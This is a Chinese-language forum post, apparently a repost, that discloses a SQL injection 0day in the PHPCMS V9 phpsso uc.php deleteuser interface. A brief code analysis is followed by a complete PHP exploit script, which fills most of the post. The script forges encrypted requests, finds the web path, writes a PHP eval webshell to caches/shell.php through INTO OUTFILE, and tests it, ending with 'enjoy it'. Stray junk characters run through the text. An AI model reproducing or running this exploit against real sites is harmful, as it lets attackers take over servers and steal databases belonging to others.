PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。" q/ j- T' M: R+ B+ E; e2 l; ~# f3 ^2 G
9 i3 g; w: p* [8 c/ h6 p所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。9 T$ @5 F) e8 l m+ N, f
* ?( i, R& z8 Z( N- p
漏洞分析:. _! n2 u. X, N: ` l& ^+ O. r: a
1.未启用ucenter服务的情况下uc_key为空& \: u& k& w" J! `8 s' \! B
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
3 x( \6 @3 ^0 l) _# \& G2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。! k7 g: X) B ?0 e. B/ l
public function deleteuser($get,$post) {, Q9 e0 a2 J1 Y+ Q5 i
pc_base::load_app_func('global', 'admin');8 g, x7 }3 T4 F9 J4 F
pc_base::load_app_class('messagequeue', 'admin' , 0);
% v) r) a* n! `% _1 q $ids = new_stripslashes($get['ids']);
3 {2 h8 q4 W+ T1 D& w# V $s = $this->member_db->select("ucuserid in ($ids)", "uid");
6 q: u4 x1 y8 ^: e4 ]7 i/ M( mSQL语句为
: I( B- e- W9 t" s+ d4 mSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
0 m f0 e2 a6 N* Y' P7 u9 x; `6 N$ w" B6 c& G) }
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell! ?* n, A4 z2 G) N
<?php* y. {1 u+ x5 u* {
print_r('& c4 |9 q8 [' |" l5 ^2 [" ?
---------------------------------------------------------------------------
+ r# m5 A" l& d( D; vPHPcms (v9 or Old Version) uc api sql injection 0day+ v8 i& a/ \- W- t5 F9 |
by rayh4c#80sec.com6 a. I) y' v8 W A' I; Q
---------------------------------------------------------------------------
9 X, M1 i8 r: o/ `' E, s0 g/ A, f');
/ v& N) b" ?; b0 R* G2 b/ x, V2 \( ?2 w: }1 \4 {
if ($argc<3) {4 A @( H- C. [7 \
print_r('
. j1 Y! s. z# c3 K" r---------------------------------------------------------------------------
6 ]6 u5 D4 L* M' [2 `9 M @% gUsage: php '.$argv[0].' host path OPTIONS
8 N# K" E1 w4 G0 U mhost: target server (ip/hostname)- [ b' s6 n9 U7 V
path: path to phpcms
$ r( |, T% k8 t* b: xOptions:
: N+ }; H% u/ I! p! r -p[port]: specify a port other than 80
! }: F+ }/ e r' u -P[ip:port]: specify a proxy
- t) I8 A: j% c! ?: Q3 x# oExample:3 M" Y( D0 [9 M# G
php '.$argv[0].' localhost /
* t% n! h4 |6 g- A2 yphp '.$argv[0].' localhost /phpcms/ -p81
2 L F# S x: d5 @6 D2 Uphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80! J1 `+ S3 ` w: V/ n- M. B
---------------------------------------------------------------------------/ ~2 v M9 Q2 G) I3 \$ A: K1 d8 w
');
. X8 a% l; w" L4 Y8 d die;5 x& i+ T9 |+ @4 B9 ?
}
/ A! V7 Q9 M6 O2 D! n7 U4 ?0 {) e0 M, W; K5 d3 w/ D/ Y
error_reporting(7);7 {5 I5 F4 J3 K) ~
ini_set("max_execution_time",0);0 V7 E1 e) y3 s0 f$ B5 w6 Z5 D
ini_set("default_socket_timeout",5);3 R2 a# e& P5 ^5 F" i% ?2 w# w; N
1 P! C L* u6 E
function quick_dump($string). d& H9 W7 j- E* v; x$ ~ P, O
{
* k2 P, j5 U; [ $result='';$exa='';$cont=0;
5 K1 r: F* G- A for ($i=0; $i<=strlen($string)-1; $i++)3 a" b2 L: m4 z$ x- p/ }
{( M5 V" |1 j* B) r+ I! O8 @( s6 N! M
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))9 c* y4 b9 L0 K7 a& A0 I3 Y2 O
{$result.=" .";}
9 l% J7 q6 D3 D$ k6 Q" ^$ |9 C. h else l8 \5 _/ `! M5 N
{$result.=" ".$string[$i];} s9 O6 V+ n1 F
if (strlen(dechex(ord($string[$i])))==2)
$ A' q' i4 y9 n {$exa.=" ".dechex(ord($string[$i]));}
7 M# o( S9 h1 a9 }- Y+ Z else
$ Z3 T) i9 v& l5 p+ ?! e; u {$exa.=" 0".dechex(ord($string[$i]));} l8 [* N3 R$ d4 g; {
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}) C* e6 i) e, Z3 u
}
! W; k$ j8 B) _7 L+ h3 W return $exa."\r\n".$result;
?! | _; {9 j* `/ n}
3 i+ _$ p* P& c' E( p$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';9 W& P2 \ D/ R
& w+ w$ K7 m& r- Z
function send($packet)
6 w0 O7 }. t7 p' z{7 C' C" H' u) N, E) V
global $proxy, $host, $port, $html, $proxy_regex;4 Y# F4 J* _$ n# C+ K! I; E
if ($proxy=='') {
! h& W, ]' r- f V2 q $ock=fsockopen(gethostbyname($host),$port);
: k* W1 T7 B6 s% j+ f' ^ if (!$ock) {
$ n& w* u$ _9 f+ r5 I echo 'No response from '.$host.':'.$port; die;; s$ I. x) j. n" E2 g, n' P
}
& L" T2 q% a# w ?- E+ B; b }+ j+ e: L E I- Y r4 U" m$ D
else {+ a5 G! j1 b$ i* F
$c = preg_match($proxy_regex,$proxy);* p; P- _% k# @: c
if (!$c) {* C- \, X( l! R/ G
echo 'Not a valid proxy...';die; b; p5 M1 v0 K5 X2 Z; `5 d/ \0 m9 {
}* u6 _1 g( Y8 X# V
$parts=explode(':',$proxy);/ B4 o6 Y2 V2 c4 ^; h+ v
$parts[1]=(int)$parts[1];. c( O1 r0 p+ s7 h8 v, e
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
' [) r8 Y5 p0 z9 ~. Q' f $ock=fsockopen($parts[0],$parts[1]);
, K3 t" ?( ?, q j/ [; ?9 u9 u if (!$ock) {
+ T1 V' |# `8 | h echo 'No response from proxy...';die;
: ?7 X1 Q9 [5 h. G: U1 j) j }( t: o% D8 ^" ?1 I: T
}
" H2 y, D% u- M2 x9 k+ {( B4 W, k. s r fputs($ock,$packet);
0 V* f! m3 ^4 C* ^0 D if ($proxy=='') {" J6 N7 _3 b# m- v8 L
$html='';+ `, m- j4 [: b0 n1 q
while (!feof($ock)) {
# h* |1 L5 Q/ m6 K/ F $html.=fgets($ock);3 ?3 U, P6 S- h
}
3 K7 ?1 Q0 i* P" ^. u' [ }
5 p7 h/ H! k6 N8 O3 | else {
8 Z8 S$ ?2 C" ], M+ J $html='';0 t' R4 o+ I1 `& b9 v
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
+ }6 B- B% i- { $html.=fread($ock,1);
4 }1 G; ^0 J) `7 \1 I7 s; i' p }. L9 z6 l* W- X( {# X! a
}- I# s' X; S) V* B: b R
fclose($ock);; P& N6 e7 J R( R& x( M
}' I$ q$ s( }; V
! Q- ~$ R( l( u5 M" h$ K) k" M1 ~# ?
$host=$argv[1];& q5 z: y- G- H0 g9 E$ D
$path=$argv[2];
4 D$ H4 k& ~- M. P5 R$port=80;4 x9 s9 O5 S, a2 i d" e8 ~
$proxy="";# ?* f5 C% P, {; ?. |$ o& V
for ($i=3; $i<$argc; $i++){6 r9 u" C h" D# [+ U& Q8 \
$temp=$argv[$i][0].$argv[$i][1]; x) K9 {& t$ Y
if ($temp=="-p")0 O3 I/ e& V( f x
{% B4 l, [: s% N" r
$port=(int)str_replace("-p","",$argv[$i]);, k5 K5 e0 C* i
}) X- S1 e2 t; O8 u& ?4 y1 A0 s
if ($temp=="-P")7 r# \. W$ D" ]8 Z# X; A) v
{' ?) h6 h& u" L0 r0 W- G; ?$ r
$proxy=str_replace("-P","",$argv[$i]);
4 T. b$ J, [9 C9 ]}
5 G, }2 s, w5 M2 j+ Z0 C5 @$ e}# x: I0 V! i/ t8 t4 F3 E
S- p+ `* o8 U# y4 yif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}0 O2 {3 {# ^5 s6 g) n$ }2 z
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
# A" J! N6 a' @7 } d% ~2 @' g6 l7 p7 `; z+ G# l# `
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {9 r; ~/ F: p% E+ X0 @& a
) y# a, @/ q) C; y0 W6 { $ckey_length = 4;
* j3 x' Q) d8 d. ]: ]9 ^4 V$ Q! n# B" d
$key = md5($key ? $key : '');
* x2 z4 u4 V! C! q4 [& ? $keya = md5(substr($key, 0, 16));' |4 J4 M9 r. x+ q9 F; P3 t/ s/ V
$keyb = md5(substr($key, 16, 16));
. X$ p5 @5 A: L1 `4 p( z $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
. l1 f$ K2 [% z! t4 C. q; y2 r3 I0 i2 |' {0 r* Q& l; S6 ~
$cryptkey = $keya.md5($keya.$keyc);7 n: e* {; Y, P. J8 N
$key_length = strlen($cryptkey);
* d7 e$ w- M! G2 i
4 m" a( i3 {; Z9 N $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
+ ^, X( [# s' P/ W. Z0 f$ M $string_length = strlen($string);5 k) I1 q) q( ^/ m. A
6 O( ?. C/ w% ^/ H $result = '';$ \2 {+ X- i) U/ {* ]. Z; A% I j' v
$box = range(0, 255);9 Z% |% x. j7 k& k
, g3 Z* |" x* W/ V% i $rndkey = array();
, \1 f/ Y& o) `$ H; G' i for($i = 0; $i <= 255; $i++) {3 U. W3 H: _: Z7 T
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
7 E6 E1 y2 Q) c. S% B4 G }& h8 i0 T$ b4 Y4 E7 w5 B3 k# b; U
/ W8 C7 k. g) |5 } for($j = $i = 0; $i < 256; $i++) {" ~( W! P2 w3 C! w3 d* z
$j = ($j + $box[$i] + $rndkey[$i]) % 256;5 e. W: q* S$ z# H3 u, h
$tmp = $box[$i];3 M, r! q) n. \
$box[$i] = $box[$j];
! f! J( i' s, |+ ] $box[$j] = $tmp;
N8 r) y# w3 l) x/ ?8 b }
. V9 G+ Y s) ~: r2 O$ Z! m. ~) Q. n
for($a = $j = $i = 0; $i < $string_length; $i++) {. G, k9 G& p" j5 Z7 `' m
$a = ($a + 1) % 256;
- W: V, X9 u0 q# s) t6 M& ^" r $j = ($j + $box[$a]) % 256;
1 c! H6 o. t$ A3 b G; i) m1 n B! r $tmp = $box[$a];
9 J1 R8 N* E4 o: g $box[$a] = $box[$j];
: [8 E; ~7 d. Y0 {4 @% u $box[$j] = $tmp;& y/ j* m- T. j& ]
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));) b: A3 ]. R$ g# m8 D
}
: g" Y8 f6 r* [/ G+ N3 T% E* ?0 b7 T1 W
if($operation == 'DECODE') {
# s' }6 f; B, ]6 C4 E- ? if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
& [; @+ b9 ?& ?. s& g return substr($result, 26);
( p( x. x0 d( b& i, n/ x } else {. m- _8 b( B7 M; [
return '';
1 Z4 V7 W) A0 ~' }5 I }
: g0 {' R/ }8 d$ @ } else {2 }0 E5 g7 z# z6 U/ d. B
return $keyc.str_replace('=', '', base64_encode($result));" O, H! N$ s. o; c( z+ D! m8 }
}
E: Q& _+ }0 ~
3 d/ [1 V2 a1 Z* }' J}
% q- p, {2 W' {: Z# K* g$ @
8 I: M2 z) Z* s! A# ^$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";2 w: n8 \7 Z+ R, E9 s( V. a$ a
$SQL = urlencode(authcode($SQL, "ENCODE", ""));- j/ f8 i7 [ b, }0 [
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";9 _$ {- `. |0 [ \3 ?0 l
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";. q' u7 [( u' H9 X% E5 P7 R
$packet.="User-Agent: Mozilla/5.0\r\n";
! R/ @6 }5 }) \% m2 v- ~/ h$packet.="Host: ".$host."\r\n";
0 ?# z0 W+ L8 f+ Q+ l" [ H/ w- v) A+ x$packet.="Connection: Close\r\n\r\n";
2 @6 ^/ |. ?/ }2 tsend($packet);
7 E( Y5 g) K, [3 C# f3 yif(strpos($html,"MySQL Errno") > 0){& R* w. m- g+ s" q& @1 A6 w
echo "[2] 发现存在SQL注入漏洞"."\n";8 G* N" N l( a/ ]- F
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
# M% U% t- p9 {+ G0 J, y5 l! H$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
1 ]5 E, M# u A' x' H$packet.="User-Agent: Mozilla/5.0\r\n";0 u) e5 o) w" N/ \
$packet.="Host: ".$host."\r\n";6 I* s0 o" T' m( {
$packet.="Connection: Close\r\n\r\n";) {# M: e+ A4 m3 ^- N
send($packet);
4 U- |3 Y0 Y% ]9 Ipreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);4 K% s: |& j7 x5 s0 E
//print_r($matches);4 k7 m& p, @% b6 J6 u% W
if(!empty($matches)){
( w% Q( d ^+ X, D" s' qecho "[4] 得到web路径 " . $matches[0]."\n";
2 @, E! X2 A3 w6 T: \; pecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
a0 {6 H( C- M5 D% [/ a$SQL = "time=999999999999999999999999&ids=1)";
! i0 ]/ r$ P' [8 H$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
$ R. ^( ^3 W! c- J& L$SQL.="&action=deleteuser";
- f; e, M( _/ P% l$SQL = urlencode(authcode($SQL, "ENCODE", ""));
9 U, M3 H J; ]echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$ l5 V( a! H3 k$ f! `. X$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";! E5 S6 k; c; [; E
$packet.="User-Agent: Mozilla/5.0\r\n";- J& r1 l" ?4 j2 \& M" E
$packet.="Host: ".$host."\r\n";
! `6 V9 ~ i' V) H$packet.="Connection: Close\r\n\r\n";: s4 v0 W4 `' \
send($packet);, v$ g9 p( P) c5 F
if(strpos($html,"Access denied") > 0){
1 u9 i, z5 g+ wecho "[-] MYSQL权限过低 禁止写入文件 ";
& i, a0 g) n( Q4 {# ^; Y, Rdie; Y4 p6 ]: y- D, q$ C: O! X
}
- W9 d% M, b4 G$ k- W4 Z; @echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";5 w8 A( ^ W6 j' N, z
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
4 Q9 {3 ~$ u0 v j7 Y$packet.="User-Agent: Mozilla/5.0\r\n";
- H8 \6 B0 I+ K. X3 e9 u$packet.="Host: ".$host."\r\n";+ u% `# a: d$ f* N/ B5 |1 R' G
$packet.="Connection: Close\r\n\r\n";
; x& X6 J# c" K: X* isend($packet);
5 I! ^, S; K+ ~; J6 Dif(strpos($html,"<title>phpinfo()</title>") > 0){
* y2 U/ |1 O) J/ O# d: n9 g Wecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";! d; a+ ], m, U# Q3 S8 C2 L: p
}
& V4 z$ n! A- @: F* |: l}else{2 I: @ K% h2 O& \4 g9 I
echo "[-]未取到web路径 ";
8 V" ^/ f% s3 e) X$ X}/ }; D# Z/ D( W) p2 ^% c
}else{6 g0 L+ r8 o7 `7 _ ~$ e: k: ^7 W
echo "[*]不存在SQL注入漏洞"."\n";
1 U8 J: m6 D) a" k& J& S}. I+ b: G) z! I3 H! r( k% G
" R' X+ g( W: y8 p# W?>6 r% X# R( [; ?4 e4 e
|